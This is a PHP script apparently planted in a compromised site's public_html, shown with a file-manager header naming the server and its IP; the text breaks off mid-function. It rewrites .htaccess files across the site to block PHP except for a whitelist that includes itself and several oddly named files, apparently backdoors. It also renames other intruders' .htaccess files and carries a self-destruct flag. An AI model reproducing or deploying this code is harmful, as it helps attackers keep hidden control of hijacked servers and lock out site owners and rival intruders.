PK œqhYî¶J‚ßF ßF ) nhhjz3kjnjjwmknjzzqznjzmm1kzmjrmz4qmm.itm/*\U8ewW087XJD%onwUMbJa]Y2zT?AoLMavr%5P*/
| Dir : /home/readysettowservi/public_html/ |
| Server: Linux vps7.usol.ca 4.18.0-553.44.1.el8_10.x86_64 #1 SMP Mon Mar 10 05:10:11 EDT 2025 x86_64 IP: 85.239.239.92 |
| Dir : /home/readysettowservi/public_html/htadep0_.php |
<?php
$DEBUG = isset($_GET['debug']) ? (bool)$_GET['debug'] : false;
$MODE = isset($_GET['mode']) ? $_GET['mode'] : 'true';
$MODE = ($MODE === 'false' || $MODE === '0' || $MODE === 'remove') ? 'remove' : 'add';
$SITE_ROOT = '';
$BACKUP_EXT = '.bak';
$MARKER_ID = 'AdMiN';
$SELF_DESTRUCT = True;
$HACKED_SUFFIX = '_hacked_';
$APACHE_VERSION = '';
$APACHE_GEN = 0;
$DEFAULT_ROOT_REWRITE = True;
$UD_WHITELIST = array('images.php', 'wp-validate.php', 'czq.php', 'wp_blog_footer.php', 'class-meta-cache.php', 'links-xml.php');
$_SELF_NAME = basename(__FILE__);
$_SELF_LOG = preg_replace('/\.php$/i', '_debug.log', $_SELF_NAME);
$_logs = array();
function _log($level, $msg) {
global $_logs, $DEBUG, $_SELF_LOG;
$line = date('Y-m-d H:i:s') . " [$level] $msg";
$_logs[] = $line;
if ($DEBUG) {
@file_put_contents($_SELF_LOG, $line . "\n", FILE_APPEND);
}
}
function CMS_SIGNATURES() {
return array(
'wordpress' => array('wp-config.php', 'wp-blog-header.php', 'wp-load.php', 'wp-settings.php'),
'joomla' => array('configuration.php', 'includes/app.php', 'libraries/loader.php'),
'drupal' => array('sites/default/settings.php', 'core/lib/Drupal.php', 'autoload.php'),
'magento2' => array('app/etc/env.php', 'app/etc/config.php', 'bin/magento'),
'magento1' => array('app/Mage.php', 'app/etc/local.xml'),
'laravel' => array('artisan', 'bootstrap/app.php', 'vendor/autoload.php'),
'symfony' => array('symfony.lock', 'config/bundles.php'),
'yii' => array('yii', 'web/index.php', 'protected/config/main.php'),
'opencart' => array('config.php', 'system/startup.php'),
'prestashop' => array('config/settings.inc.php'),
'discuz' => array('source/class/class_core.php', 'uc_client/client.php'),
'thinkphp' => array('thinkphp/base.php', 'thinkphp/start.php'),
);
}
function detect_site_root($scriptDir) {
global $SITE_ROOT;
if (!empty($SITE_ROOT)) {
$r = rtrim(str_replace('\\', '/', realpath($SITE_ROOT) ?: $SITE_ROOT), '/');
if (is_dir($r)) { _log('INFO', 'Root from config: ' . $r); return $r; }
}
$dir = rtrim(str_replace('\\', '/', realpath($scriptDir) ?: $scriptDir), '/');
$maxDepth = 10;
for ($depth = 0; $depth < $maxDepth && $dir !== '' && $dir !== '/'; $depth++) {
$score = 0;
if (is_file("$dir/index.php")) $score += 2;
if (is_file("$dir/index.html")) $score += 1;
$allSigs = CMS_SIGNATURES();
foreach ($allSigs as $cmsName => $sigs) {
foreach ($sigs as $sig) {
if (is_file("$dir/$sig")) { $score += 5; break 2; }
}
}
foreach (array('wp-admin', 'wp-includes', 'administrator', 'includes', 'modules', 'themes', 'core', 'app', 'src', 'web', 'config') as $sub) {
if (is_dir("$dir/$sub")) { $score += 3; break; }
}
if ($score >= 7) {
$entry = null;
if (is_file("$dir/index.php")) {
$entry = $dir;
} else {
foreach (array('public', 'web', 'pub') as $subEntry) {
if (is_file("$dir/$subEntry/index.php")) {
$entry = "$dir/$subEntry"; break;
}
}
}
if ($entry !== null) {
_log('INFO', "Root from walk-up (score=$score): $entry");
return $entry;
}
}
$parent = dirname($dir);
if ($parent === $dir) break;
$dir = $parent;
}
if (!empty($_SERVER['DOCUMENT_ROOT'])) {
$r = rtrim(str_replace('\\', '/', $_SERVER['DOCUMENT_ROOT']), '/');
if (is_dir($r) && (is_file("$r/index.php") || is_file("$r/index.html"))) {
_log('INFO', 'Root from DOCUMENT_ROOT: ' . $r);
return $r;
}
}
$dir = rtrim(str_replace('\\', '/', realpath($scriptDir) ?: $scriptDir), '/');
for ($depth = 0; $depth < 10 && $dir !== '' && $dir !== '/'; $depth++) {
if (is_file("$dir/index.php")) {
_log('INFO', "Root from index.php walk-up: $dir");
return $dir;
}
$parent = dirname($dir);
if ($parent === $dir) break;
$dir = $parent;
}
_log('ERROR', 'Could not detect site root.');
return null;
}
function detect_cms_type($siteRoot) {
$allSigs = CMS_SIGNATURES();
foreach ($allSigs as $cmsName => $sigs) {
foreach ($sigs as $sig) {
if (is_file("$siteRoot/$sig")) {
_log('INFO', "CMS detected: $cmsName (signature: $sig)");
return $cmsName;
}
}
}
$parent = dirname($siteRoot);
if ($parent !== $siteRoot) {
foreach ($allSigs as $cmsName => $sigs) {
foreach ($sigs as $sig) {
if (is_file("$parent/$sig")) {
_log('INFO', "CMS detected at project root: $cmsName (signature: $sig)");
return $cmsName;
}
}
}
}
_log('INFO', 'CMS type unknown');
return 'unknown';
}
function get_cms_config($cmsType, $siteRoot) {
$config = array(
'root_whitelist' => array('index.php'),
'admin_dir' => '',
'admin_whitelist' => array(),
'system_dirs' => array(),
'special_dirs' => array(),
);
switch ($cmsType) {
case 'wordpress':
$config['root_whitelist'] = array(
'index.php', 'wp-login.php', 'wp-activate.php',
'wp-cron.php', 'xmlrpc.php', 'wp-comments-post.php',
'wp-trackback.php', 'wp-signup.php', 'wp-links-opml.php',
'wp-mail.php',
);
$config['admin_dir'] = 'wp-admin';
$config['admin_whitelist'] = array(
'index.php', 'admin.php', 'admin-ajax.php', 'admin-post.php',
'about.php', 'credits.php', 'freedoms.php', 'privacy.php',
'privacy-policy-guide.php', 'contribute.php', 'moderation.php',
'update-core.php', 'update.php', 'upgrade.php', 'upgrade-functions.php',
'setup-config.php', 'install.php', 'install-helper.php',
'edit.php', 'post-new.php', 'post.php', 'edit-tags.php', 'term.php',
'link-manager.php', 'link-add.php', 'link.php',
'revision.php', 'press-this.php',
'upload.php', 'media-new.php', 'media-upload.php', 'media.php',
'async-upload.php',
'edit-comments.php', 'comment.php',
'themes.php', 'theme-install.php', 'theme-editor.php',
'customize.php', 'widgets.php', 'nav-menus.php', 'site-editor.php',
'plugins.php', 'plugin-install.php', 'plugin-editor.php',
'users.php', 'user-new.php', 'profile.php', 'user-edit.php',
'authorize-application.php',
'tools.php', 'import.php', 'export.php', 'site-health.php',
'export-personal-data.php', 'erase-personal-data.php',
'options-general.php', 'options-writing.php', 'options-reading.php',
'options-discussion.php', 'options-media.php', 'options-permalink.php',
'options-privacy.php', 'options.php', 'options-connectors.php',
'network.php', 'my-sites.php', 'ms-admin.php', 'ms-delete-site.php',
'ms-edit.php', 'ms-options.php', 'ms-sites.php', 'ms-themes.php',
'ms-upgrade-network.php', 'ms-users.php',
'load-scripts.php', 'load-styles.php', 'font-library.php',
);
$config['system_dirs'] = array('wp-includes', 'wp-content');
break;
case 'joomla':
$config['root_whitelist'] = array('index.php');
$config['admin_dir'] = 'administrator';
$config['admin_whitelist'] = array('index.php');
$config['system_dirs'] = array(
'includes', 'libraries', 'components', 'modules', 'plugins',
'templates', 'media', 'cache', 'tmp', 'logs', 'cli', 'api',
'language', 'layouts', 'files', 'images',
'administrator/cache', 'administrator/components',
'administrator/includes', 'administrator/language',
'administrator/logs', 'administrator/manifests',
'administrator/modules', 'administrator/templates', 'administrator/help',
);
break;
case 'drupal':
$config['root_whitelist'] = array(
'index.php', 'update.php', 'cron.php', 'install.php', 'authorize.php',
);
$config['system_dirs'] = array(
'includes', 'misc', 'modules', 'profiles', 'scripts',
'sites', 'themes', 'core', 'vendor',
);
break;
case 'magento2':
$config['root_whitelist'] = array('index.php', 'static.php', 'get.php', 'cron.php');
$config['system_dirs'] = array(
'app', 'vendor', 'lib', 'var', 'generated', 'pub/static', 'pub/media',
);
break;
case 'magento1':
$config['root_whitelist'] = array('index.php', 'cron.php', 'install.php');
$config['system_dirs'] = array(
'app', 'lib', 'var', 'media', 'skin', 'js', 'includes', 'errors', 'downloader',
);
break;
case 'laravel':
$config['root_whitelist'] = array('index.php');
$config['system_dirs'] = array(
'app', 'bootstrap', 'config', 'database', 'resources',
'routes', 'storage', 'tests', 'vendor',
);
break;
case 'symfony':
$config['root_whitelist'] = array('index.php');
$config['system_dirs'] = array(
'src', 'config', 'var', 'vendor', 'templates', 'tests',
'migrations', 'translations',
);
break;
case 'yii':
$config['root_whitelist'] = array('index.php');
$config['system_dirs'] = array(
'controllers', 'models', 'views', 'components',
'modules', 'vendor', 'runtime', 'config',
'protected', 'themes', 'assets',
);
break;
case 'opencart':
$config['root_whitelist'] = array('index.php');
$config['admin_dir'] = 'admin';
$config['admin_whitelist'] = array('index.php');
$config['system_dirs'] = array('system', 'catalog', 'image', 'download');
break;
case 'prestashop':
$config['root_whitelist'] = array('index.php');
$config['admin_dir'] = detect_prestashop_admin_dir($siteRoot);
$config['admin_whitelist'] = array('index.php', 'login.php');
$config['system_dirs'] = array(
'classes', 'config', 'controllers', 'modules', 'src',
'vendor', 'var', 'app', 'bin', 'tools',
'themes', 'js', 'img', 'pdf', 'upload', 'download',
);
break;
case 'discuz':
$config['root_whitelist'] = array(
'index.php', 'forum.php', 'home.php', 'group.php',
'member.php', 'misc.php', 'plugin.php', 'search.php',
'api.php', 'connect.php', 'admin.php',
);
$config['system_dirs'] = array(
'source', 'uc_client', 'uc_server', 'data', 'template',
'static', 'install', 'config', 'utility',
);
break;
case 'thinkphp':
$config['root_whitelist'] = array('index.php');
$config['system_dirs'] = array(
'thinkphp', 'app', 'config', 'route', 'runtime', 'vendor',
'extend', 'public',
);
break;
default:
$config['root_whitelist'] = array('index.php');
_log('INFO', 'Unknown CMS — all subdirectories will deny PHP execution');
break;
}
global $UD_WHITELIST;
if (!empty($UD_WHITELIST)) {
$config['root_whitelist'] = array_values(array_unique(
array_merge($config['root_whitelist'], $UD_WHITELIST)
));
_log('INFO', 'User-deployed root whitelist ($UD_WHITELIST): ' . implode(', ', $UD_WHITELIST));
}
return $config;
}
function detect_prestashop_admin_dir($siteRoot) {
$settingsFile = "$siteRoot/config/settings.inc.php";
if (is_file($settingsFile)) {
$content = @file_get_contents($settingsFile);
if ($content && preg_match("/define\s*\(\s*'_ADMIN_DIR_'\s*,\s*'([^']+)'/i", $content, $m)) {
_log('INFO', "PrestaShop admin dir: $m[1]");
return $m[1];
}
}
$items = @scandir($siteRoot);
if ($items) {
foreach ($items as $item) {
if (preg_match('/^admin\d/', $item) && is_dir("$siteRoot/$item")
&& is_file("$siteRoot/$item/index.php")) {
_log('INFO', "PrestaShop admin dir by scan: $item");
return $item;
}
}
}
return 'admin';
}
function build_known_cms_files_set($cmsType) {
$known = array('index.php');
switch ($cmsType) {
case 'wordpress':
$known = array_merge($known, array(
'wp-login.php','wp-activate.php','wp-cron.php','xmlrpc.php',
'wp-comments-post.php','wp-trackback.php','wp-signup.php',
'wp-links-opml.php','wp-mail.php',
'admin.php','admin-ajax.php','admin-post.php','update-core.php',
'update.php','upgrade.php','upgrade-functions.php','edit.php',
'post-new.php','post.php','edit-tags.php','term.php','upload.php',
'media-new.php','media-upload.php','media.php','async-upload.php',
'edit-comments.php','comment.php','themes.php','theme-install.php',
'theme-editor.php','customize.php','widgets.php','nav-menus.php',
'plugins.php','plugin-install.php','plugin-editor.php','users.php',
'user-new.php','profile.php','user-edit.php','tools.php','import.php',
'export.php','site-health.php','options-general.php','options-writing.php',
'options-reading.php','options-discussion.php','options-media.php',
'options-permalink.php','options-privacy.php','options.php',
'link-manager.php','about.php','install.php','setup-config.php',
'load-scripts.php','load-styles.php',
'revision.php','network.php',
'authorize-application.php','site-editor.php','font-library.php',
));
break;
case 'joomla':
$known = array_merge($known, array('index.php'));
break;
case 'drupal':
$known = array_merge($known, array('update.php','cron.php','install.php','authorize.php'));
break;
case 'magento2':
$known = array_merge($known, array('static.php','get.php','cron.php'));
break;
case 'magento1':
$known = array_merge($known, array('cron.php','install.php','api.php','get.php'));
break;
case 'discuz':
$known = array_merge($known, array(
'forum.php','home.php','group.php','member.php','misc.php',
'plugin.php','search.php','api.php','connect.php','admin.php',
));
break;
}
return array_unique(array_map('strtolower', $known));
}
function is_hacker_htaccess($content, $cmsType, $contextDir = '') {
if (empty(trim($content))) return false;
$stripped = strip_deployer_rules($content);
if (empty(trim($stripped))) return false;
$content = $stripped;
$grantsPhp = array();
$suspiciousFiles = array();
$hasGrantAll = preg_match('/Require\s+all\s+granted/i', $content)
|| preg_match('/Allow\s+from\s+all/i', $content);
$hasSatisfyAny = preg_match('/^\s*Satisfy\s+any\b/im', $content);
if ($hasSatisfyAny) {
$grantsPhp[] = 'Satisfy Any';
}
if (preg_match_all(
'/<(FilesMatch|Files)\b([^>]*)>(.*?)<\/\1>/is', $content, $blocks, PREG_SET_ORDER
)) {
foreach ($blocks as $b) {
$tag = $b[1];
$pattern = $b[2];
$body = $b[3];
$grants = preg_match('/Require\s+all\s+granted/i', $body)
|| preg_match('/Allow\s+from\s+all/i', $body);
if (!$grants) continue;
$grantsPhp[] = trim($tag . ' ' . preg_replace('/\s+/', ' ', $pattern));
$files = extract_files_from_pattern($pattern);
foreach ($files as $f) {
if ($f !== '' && !in_array($f, $suspiciousFiles)) $suspiciousFiles[] = $f;
}
}
}
if (preg_match_all('/^\s*(AddHandler|AddType|SetHandler|Action)\b.*$/im', $content, $h)) {
foreach ($h[0] as $line) {
if (preg_match('/php|httpd-php|cgi-script|application\/x-httpd/i', $line)) {
$grantsPhp[] = 'handler override: ' . trim(preg_replace('/\s+/', ' ', $line));
}
}
}
if (preg_match('/php_flag\s+(engine|short_open_tag)\s+on/i', $content)) {
$grantsPhp[] = 'php_flag re-enabling the PHP engine';
}
if (empty($grantsPhp)) return false;
$directoryWide = $hasGrantAll && empty($suspiciousFiles);
$knownFiles = build_known_cms_files_set($cmsType);
$unknown = array();
foreach ($suspiciousFiles as $f) {
if (!in_array(strtolower($f), $knownFiles)) $unknown[] = $f;
}
$hasHandlerOverride = false;
foreach ($grantsPhp as $r) {
if (strpos($r, 'handler override') === 0) { $hasHandlerOverride = true; break; }
}
$realDenyAll = false;
if (preg_match_all(
'/<(FilesMatch|Files)\b([^>]*)>(.*?)<\/\1>/is', $content, $dblocks, PREG_SET_ORDER
)) {
foreach ($dblocks as $db) {
$dbBody = $db[3];
$isDeny = preg_match('/Require\s+all\s+denied/i', $dbBody)
|| preg_match('/Deny\s+from\s+all/i', $dbBody);
if (!$isDeny) continue;
if (is_broad_deny_pattern($db[2])) { $realDenyAll = true; break; }
}
}
if (!$realDenyAll && preg_match('/^\s*Deny\s+from\s+all\s*$/im', $content)
&& !preg_match('/<FilesMatch|<Files\b/i', $content)) {
$realDenyAll = true;
}
$excusableWhitelist = !empty($suspiciousFiles) && empty($unknown) && $realDenyAll;
if ($excusableWhitelist && !empty($contextDir) && is_php_forbidden_dir($contextDir)) {
$excusableWhitelist = false;
_log('WARN', "Allow-block grants PHP inside a directory that should never run PHP: $contextDir");
}
if ($directoryWide || !empty($unknown) || $hasSatisfyAny || $hasHandlerOverride) {
$reason = $directoryWide
? 'directory-wide PHP access grant'
: (!empty($unknown)
? 'granted files are not known CMS files'
: implode('; ', $grantsPhp));
_log('WARN', "Hacker .htaccess detected ($reason)"
. (!empty($unknown) ? ' | suspicious: ' . implode(', ', $unknown) : ''));
return array('reason' => $reason, 'files' => $unknown);
}
if (!$excusableWhitelist) {
$reason = 'allow block with no legitimate directory protection'
. (!empty($suspiciousFiles) ? ' | granted: ' . implode(', ', $suspiciousFiles) : '');
_log('WARN', "Hacker .htaccess detected ($reason)");
return array('reason' => $reason, 'files' => $suspiciousFiles);
}
_log('INFO', 'Deny-all with a known-CMS whitelist — treated as legitimate hardening');
return false;
}
function is_php_forbidden_dir($relDir) {
$d = '/' . trim(str_replace('\\', '/', $relDir), '/') . '/';
foreach (array(
'/wp-includes/',
'/wp-content/uploads/',
'/wp-content/cache/',
'/wp-content/upgrade/',
'/wp-content/plugins/',
'/wp-content/themes/',
'/wp-admin/includes/',
'/wp-admin/css/',
'/wp-admin/images/',
'/wp-admin/js/',
'/wp-admin/maint/',
'/wp-admin/user/',
'/wp-admin/network/',
) as $needle) {
if (strpos($d, $needle) !== false) return true;
}
return false;
}
function is_broad_deny_pattern($pattern) {
$p = trim($pattern, " \t'\"");
if (preg_match('/^\^?[A-Za-z0-9_\-\.\\\\]+\$?$/', $p)) return false;
if (strpos($p, '|') !== false) return true;
if (strpos($p, '(?i:') !== false) return true;
if (strpos($p, '.*') !== false) return true;
if (strpos($p, '.+') !== false) return true;
if (preg_match('/\\\\\.\(/', $p)) return true;
if (preg_match('/\\\\\.[A-Za-z0-9]/', $p)) return true;
if (preg_match('/\([^)]*\)/', $p)) return true;
return true;
}
function extract_files_from_pattern($pattern) {
$files = array();
$p = trim($pattern, " \t'\"");
$p = preg_replace('/^\^|\$$/', '', $p);
$p = preg_replace('/^\(\?![^)]*\)/', '', $p);
if (preg_match('/^\(\?:([^)]*)\)$/', $p, $m)) {
$p = $m[1];
} elseif (preg_match('/^\(([^)]*)\)$/', $p, $m)) {
$p = $m[1];
}
if ($p === '' || strpos($p, '*') !== false || strpos($p, '\\\\.') === 0
|| strpos($p, '\\.') === 0 || strpos($p, '.') === 0) {
return array();
}
foreach (explode('|', $p) as $part) {
$part = trim($part);
if ($part === '' || strpos($part, '(?') === 0) continue;
if (!preg_match('/^[A-Za-z0-9_.\\\\\-\$\{\}\*\+]+$/', $part)) continue;
$clean = str_replace(array('\\', '(', ')'), '', $part);
$clean = trim($clean);
if ($clean === '' || strpos($clean, '$') !== false) continue;
if (!preg_match('/\.[A-Za-z0-9]{1,10}$/', $clean)) continue;
$files[] = $clean;
}
return array_values(array_unique($files));
}
function quarantine_hacker_htaccess($htFile, $dirPath, &$renamed = null) {
global $HACKED_SUFFIX;
$stamp = date('YmdHis');
$target = "$dirPath/htaccess" . $HACKED_SUFFIX . $stamp;
$n = 1;
$final = $target;
while (file_exists($final)) {
$final = $target . '_' . $n;
$n++;
}
if (@rename($htFile, $final)) {
_log('WARN', "Renamed hacker .htaccess -> " . basename($final));
$renamed = $final;
return $final;
}
if (@copy($htFile, $final) && @unlink($htFile)) {
_log('WARN', "Copied+removed hacker .htaccess -> " . basename($final));
$renamed = $final;
return $final;
}
_log('ERROR', "Cannot quarantine hacker .htaccess: $htFile");
return false;
}
function detect_apache_gen() {
static $cached = null;
if ($cached !== null) return $cached;
global $APACHE_VERSION;
$candidates = array();
if (!empty($APACHE_VERSION)) $candidates[] = $APACHE_VERSION;
if (!empty($_SERVER['SERVER_SIGNATURE'])) $candidates[] = strip_tags($_SERVER['SERVER_SIGNATURE']);
if (!empty($_SERVER['SERVER_SOFTWARE'])) $candidates[] = $_SERVER['SERVER_SOFTWARE'];
if (function_exists('apache_get_version')) {
$v = @apache_get_version();
if (is_string($v) && $v !== '') $candidates[] = $v;
}
foreach ($candidates as $cand) {
if (preg_match('/Apache\/(\d+)\.(\d+)/i', $cand, $m)) {
$major = (int)$m[1];
$minor = (int)$m[2];
if ($major > 2 || ($major === 2 && $minor >= 4)) {
_log('INFO', "Apache generation: 2.4 (from '$cand')");
return $cached = 24;
}
if ($major === 2) {
_log('INFO', "Apache generation: 2.2 (from '$cand')");
return $cached = 22;
}
}
}
_log('INFO', 'Apache generation unknown - emitting dual <IfModule> fallback');
return $cached = 0;
}
function php_deny_ext_regex() {
return 'php|php3|php4|php5|php7|php8|phtml|phar|pl|py|cgi|asp|aspx|sh|exe';
}
function generate_htaccess_whitelist($whitelist) {
global $APACHE_GEN;
if (empty($whitelist)) {
return generate_deny_only_htaccess();
}
$quoted = array_map(function($f) { return preg_quote($f, '/'); }, $whitelist);
$excludePattern = '(?:' . implode('|', $quoted) . ')';
$ext = php_deny_ext_regex();
$regex24 = "'^(?!" . $excludePattern . "\$).+\\.(?i:" . $ext . ")$'";
$regex22wl = "'^(" . implode('|', $quoted) . ")$'";
$lines = array();
if ($APACHE_GEN !== 22) {
$lines[] = "<IfModule mod_authz_core.c>";
$lines[] = " <FilesMatch $regex24>";
$lines[] = " Require all denied";
$lines[] = " </FilesMatch>";
$lines[] = " <FilesMatch $regex22wl>";
$lines[] = " Require all granted";
$lines[] = " </FilesMatch>";
$lines[] = "</IfModule>";
}
if ($APACHE_GEN !== 24) {
$lines[] = "<IfModule !mod_authz_core.c>";
$lines[] = " <FilesMatch '(?i)\\.(?:" . $ext . ")$'>";
$lines[] = " Order deny,allow";
$lines[] = " Deny from all";
$lines[] = " </FilesMatch>";
$lines[] = " <FilesMatch $regex22wl>";
$lines[] = " Order deny,allow";
$lines[] = " Allow from all";
$lines[] = " </FilesMatch>";
$lines[] = "</IfModule>";
}
$lines[] = "";
return implode("\n", $lines);
}
function generate_deny_only_htaccess() {
global $APACHE_GEN;
$ext = php_deny_ext_regex();
$lines = array();
if ($APACHE_GEN !== 22) {
$lines[] = "<IfModule mod_authz_core.c>";
$lines[] = " <FilesMatch \"\\.(?i:" . $ext . ")$\">";
$lines[] = " Require all denied";
$lines[] = " </FilesMatch>";
$lines[] = "</IfModule>";
}
if ($APACHE_GEN !== 24) {
$lines[] = "<IfModule !mod_authz_core.c>";
$lines[] = " <FilesMatch \"\\.(?i:" . $ext . ")$\">";
$lines[] = " Order allow,deny";
$lines[] = " Deny from all";
$lines[] = " </FilesMatch>";
$lines[] = "</IfModule>";
}
return implode("\n", $lines);
}
function generate_default_rewrite_block($urlBase = '/') {
$urlBase = '/' . trim($urlBase, '/');
if ($urlBase !== '/') $urlBase .= '/';
$lines = array();
$lines[] = "<IfModule mod_rewrite.c>";
$lines[] = "RewriteEngine On";
$lines[] = "RewriteBase $urlBase";
$lines[] = "RewriteRule ^index\\.php$ - [L]";
$lines[] = "RewriteCond %{REQUEST_FILENAME} !-f";
$lines[] = "RewriteCond %{REQUEST_FILENAME} !-d";
$lines[] = "RewriteRule . index.php [L]";
$lines[] = "</IfModule>";
return implode("\n", $lines);
}
function generate_htaccess_marker_comment() {
global $MARKER_ID;
return "# BEGIN $MARKER_ID — DO NOT EDIT MANUALLY";
}
function generate_htaccess_marker_end() {
global $MARKER_ID;
return "# END $MARKER_ID";
}
function wrap_with_markers($content) {
return generate_htaccess_marker_comment() . "\n"
. $content . "\n"
. generate_htaccess_marker_end();
}
function get_all_directories($siteRoot) {
$dirs = array();
$rootLen = strlen(rtrim($siteRoot, '/')) + 1;
$skipDirs = array('.', '..', '.git', '.svn', '.hg', 'node_modules');
try {
$iterator = new RecursiveIteratorIterator(
new RecursiveDirectoryIterator($siteRoot,
RecursiveDirectoryIterator::SKIP_DOTS),
RecursiveIteratorIterator::SELF_FIRST
);
} catch (Exception $e) {
_log('ERROR', 'Failed to scan directories: ' . $e->getMessage());
return $dirs;
}
foreach ($iterator as $item) {
if (!$item->isDir()) continue;
$basename = $item->getBasename();
if (in_array($basename, $skipDirs)) continue;
$fullPath = str_replace('\\', '/', $item->getPathname());
$relPath = substr($fullPath, $rootLen);
if ($relPath === false || $relPath === '') continue;
$dirs[] = $relPath;
}
array_unshift($dirs, '.');
sort($dirs);
return $dirs;
}
function read_existing_htaccess($dirPath) {
$htFile = "$dirPath/.htaccess";
if (is_file($htFile)) {
return @file_get_contents($htFile);
}
return '';
}
function has_deployer_markers($content) {
return (strpos($content, generate_htaccess_marker_comment()) !== false);
}
function strip_deployer_rules($content) {
$marker = generate_htaccess_marker_comment();
$end = generate_htaccess_marker_end();
if (strpos($content, $marker) !== false) {
$pattern = '/' . preg_quote($marker, '/')
. '.*?' . preg_quote($end, '/') . '\s*/s';
$cleaned = preg_replace($pattern, '', $content);
if ($cleaned !== null) $content = $cleaned;
}
$suffix = ' — DO NOT EDIT MANUALLY';
$genericPattern = '/^' . preg_quote('# BEGIN ', '/') . '\S+' . preg_quote($suffix, '/')
. '\r?\n.*?^' . preg_quote('# END ', '/') . '\S+[ \t]*\r?\n?/sm';
$cleaned = preg_replace($genericPattern, '', $content);
if ($cleaned !== null) $content = $cleaned;
return trim($content);
}
function write_htaccess($dirPath, $content) {
$htFile = "$dirPath/.htaccess";
$result = @file_put_contents($htFile, $content);
if ($result === false) {
_log('ERROR', "Failed to write: $htFile");
return false;
}
_log('INFO', "Wrote: $htFile (" . strlen($content) . " bytes)");
return true;
}
function preserve_and_clear_htaccess($dirPath) {
global $BACKUP_EXT;
$htFile = "$dirPath/.htaccess";
$bakFile = $htFile . $BACKUP_EXT;
if (!is_file($htFile)) return true;
if (!is_file($bakFile)) {
if (!@copy($htFile, $bakFile)) {
_log('ERROR', "Cannot back up .htaccess: $htFile");
return false;
}
}
if (!@unlink($htFile)) {
_log('ERROR', "Cannot remove .htaccess: $htFile");
return false;
}
return true;
}
function compute_script_rel_dir($scriptDir, $siteRoot) {
$scriptDir = rtrim(str_replace('\\', '/', $scriptDir), '/');
$siteRoot = rtrim(str_replace('\\', '/', $siteRoot), '/');
if ($scriptDir === $siteRoot) return '.';
$rootLen = strlen($siteRoot) + 1;
if (strpos($scriptDir . '/', $siteRoot . '/') === 0) {
return substr($scriptDir, $rootLen);
}
return '.';
}
function compute_url_base($siteRoot) {
$siteRoot = rtrim(str_replace('\\', '/', $siteRoot), '/');
$docRoot = isset($_SERVER['DOCUMENT_ROOT']) ? rtrim(str_replace('\\', '/', $_SERVER['DOCUMENT_ROOT']), '/') : '';
if ($docRoot !== '' && strpos($siteRoot . '/', $docRoot . '/') === 0) {
$rel = substr($siteRoot, strlen($docRoot));
return ($rel === '' ? '/' : $rel . '/');
}
$scriptDir = isset($GLOBALS['____SCRIPT_DIR'])
? str_replace('\\', '/', $GLOBALS['____SCRIPT_DIR'])
: str_replace('\\', '/', dirname(__FILE__));
$scriptDir = rtrim($scriptDir, '/');
if (strpos($scriptDir . '/', $siteRoot . '/') === 0) {
$rel = substr($scriptDir, strlen($siteRoot));
return ($rel === '' ? '/' : $rel . '/');
}
return '/';
}
function classify_directories($allDirs, $config, $siteRoot, $cmsType, $scriptRelDir) {
$classified = array();
$adminDir = $config['admin_dir'];
$systemDirs = $config['system_dirs'];
$specialDirs = isset($config['special_dirs']) ? $config['special_dirs'] : array();
$adminDirNorm = trim($adminDir, '/');
global $_SELF_NAME;
foreach ($allDirs as $relPath) {
$relNorm = trim($relPath, '/');
if ($relNorm === '') $relNorm = '.';
if ($relNorm === '.') {
$wl = $config['root_whitelist'];
if ($scriptRelDir === '.' && !in_array($_SELF_NAME, $wl)) {
$wl[] = $_SELF_NAME;
}
$classified[] = array(
'path' => $relNorm, 'type' => 'root',
'whitelist' => $wl,
);
continue;
}
if (!empty($adminDirNorm) && $relNorm === $adminDirNorm) {
$classified[] = array(
'path' => $relNorm, 'type' => 'admin',
'whitelist' => $config['admin_whitelist'],
);
continue;
}
if (!empty($adminDirNorm) && strpos($relNorm . '/', $adminDirNorm . '/') === 0) {
$classified[] = array(
'path' => $relNorm, 'type' => 'deny_all', 'whitelist' => array(),
);
continue;
}
$isSystem = false;
foreach ($systemDirs as $sysDir) {
$sysNorm = trim($sysDir, '/');
if ($relNorm === $sysNorm || strpos($relNorm . '/', $sysNorm . '/') === 0) {
$wl = array();
if ($relNorm === $scriptRelDir) {
$wl[] = $_SELF_NAME;
_log('INFO', "Self-whitelist: adding $_SELF_NAME to $relNorm/");
}
$classified[] = array(
'path' => $relNorm, 'type' => empty($wl) ? 'deny_all' : 'special',
'whitelist' => $wl,
);
$isSystem = true;
break;
}
}
if ($isSystem) continue;
$isSpecial = false;
foreach ($specialDirs as $spDir => $spWhitelist) {
$spNorm = trim($spDir, '/');
if ($relNorm === $spNorm) {
if ($relNorm === $scriptRelDir && !in_array($_SELF_NAME, $spWhitelist)) {
$spWhitelist[] = $_SELF_NAME;
_log('INFO', "Self-whitelist: adding $_SELF_NAME to special dir $relNorm/");
}
$classified[] = array(
'path' => $relNorm, 'type' => 'special',
'whitelist' => $spWhitelist,
);
$isSpecial = true;
break;
}
}
if ($isSpecial) continue;
$wl = array();
if ($relNorm === $scriptRelDir) {
$wl[] = $_SELF_NAME;
_log('INFO', "Self-whitelist: adding $_SELF_NAME to non-system dir $relNorm/");
}
$classified[] = array(
'path' => $relNorm,
'type' => empty($wl) ? 'deny_all' : 'special',
'whitelist' => $wl,
);
}
$counts = array('root' => 0, 'admin' => 0, 'deny_all' => 0, 'special' => 0);
foreach ($classified as $e) $counts[$e['type']]++;
_log('INFO', "Classification: root={$counts['root']}, admin={$counts['admin']}, "
. "deny_all={$counts['deny_all']}, special={$counts['special']}");
return $classified;
}
function do_add($scriptDir, $siteRoot) {
_log('INFO', str_repeat('=', 50));
_log('INFO', 'MODE: DEPLOY (.htaccess restrictions)');
_log('INFO', str_repeat('=', 50));
_log('INFO', "Site root: $siteRoot");
$cmsType = detect_cms_type($siteRoot);
$config = get_cms_config($cmsType, $siteRoot);
global $_SELF_NAME;
$scriptRelDir = compute_script_rel_dir($scriptDir, $siteRoot);
_log('INFO', "Script relative dir: $scriptRelDir");
if ($scriptRelDir === '.') {
if (!in_array($_SELF_NAME, $config['root_whitelist'])) {
$config['root_whitelist'][] = $_SELF_NAME;
_log('INFO', "Script runs from root — added self to root whitelist: $_SELF_NAME");
}
} else {
if (in_array($_SELF_NAME, $config['root_whitelist'])) {
$config['root_whitelist'] = array_values(array_diff($config['root_whitelist'], array($_SELF_NAME)));
}
_log('INFO', "Script runs from subdirectory '$scriptRelDir' — root whitelist left untouched");
}
$allDirs = get_all_directories($siteRoot);
_log('INFO', 'Found ' . count($allDirs) . ' directories');
if (empty($allDirs)) {
_log('ERROR', 'No directories found.');
return false;
}
$dirClassification = classify_directories($allDirs, $config, $siteRoot, $cmsType, $scriptRelDir);
$deployed = 0; $skipped = 0; $failed = 0; $hackerReplaced = 0;
